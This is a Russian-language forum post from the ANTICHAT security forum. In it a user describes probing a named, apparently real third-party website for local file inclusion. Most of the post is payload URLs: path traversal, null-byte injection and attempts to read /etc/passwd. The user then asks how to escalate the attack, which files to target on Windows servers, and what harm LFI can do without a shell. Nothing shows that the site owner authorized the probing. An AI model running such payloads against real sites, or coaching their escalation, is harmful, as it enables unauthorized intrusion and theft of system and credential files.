FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Техника поиска и эксплуатации LFI уязвимостей

Опции темы

Поиск в этой теме

Опции просмотра

05.11.2015, 15:16

SS_47

Новичок

Регистрация: 05.04.2012

Сообщений: 18

Провел на форуме:
3772

Репутация: 7

Всем привет

Имеется страничка

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=fp_usluge

название параметра запроса намекает на наличие на сайте LFI

пробую следующее:

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=./fp_usluge

страница успешно грузится

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=../fp_usluge

страница не грузится

что еще более намекает на наличие LFI

проверяю, что будет с %00

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=fp_usluge%00

страница не грузится, из чего делаю предположение о том, что параметр с чем-то конкатенируется

теперь пытаюсь заинклюдить /etc/passwd

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=etc/passwd%00

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=../etc/passwd%00

Код:

http://www.dirdim.com/port_featuredprojects.php?fileName=../../etc/passwd%00

и так далее

заинклюдить не удалось

в связи с этим несколько вопросов:

На сколько это похоже на LFI? Что такое может быть на сервере, из-за чего мне не удается подключить /etc/passwd? Как его можно раскрутить дальше?

Какие файлы вы пробуете инклюдить на windows серверах? Что потенциально опасного можно сделать с LFI, в том случае, если на сайте нет возможности залить шелл?

Заранее спасибо за ответы

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules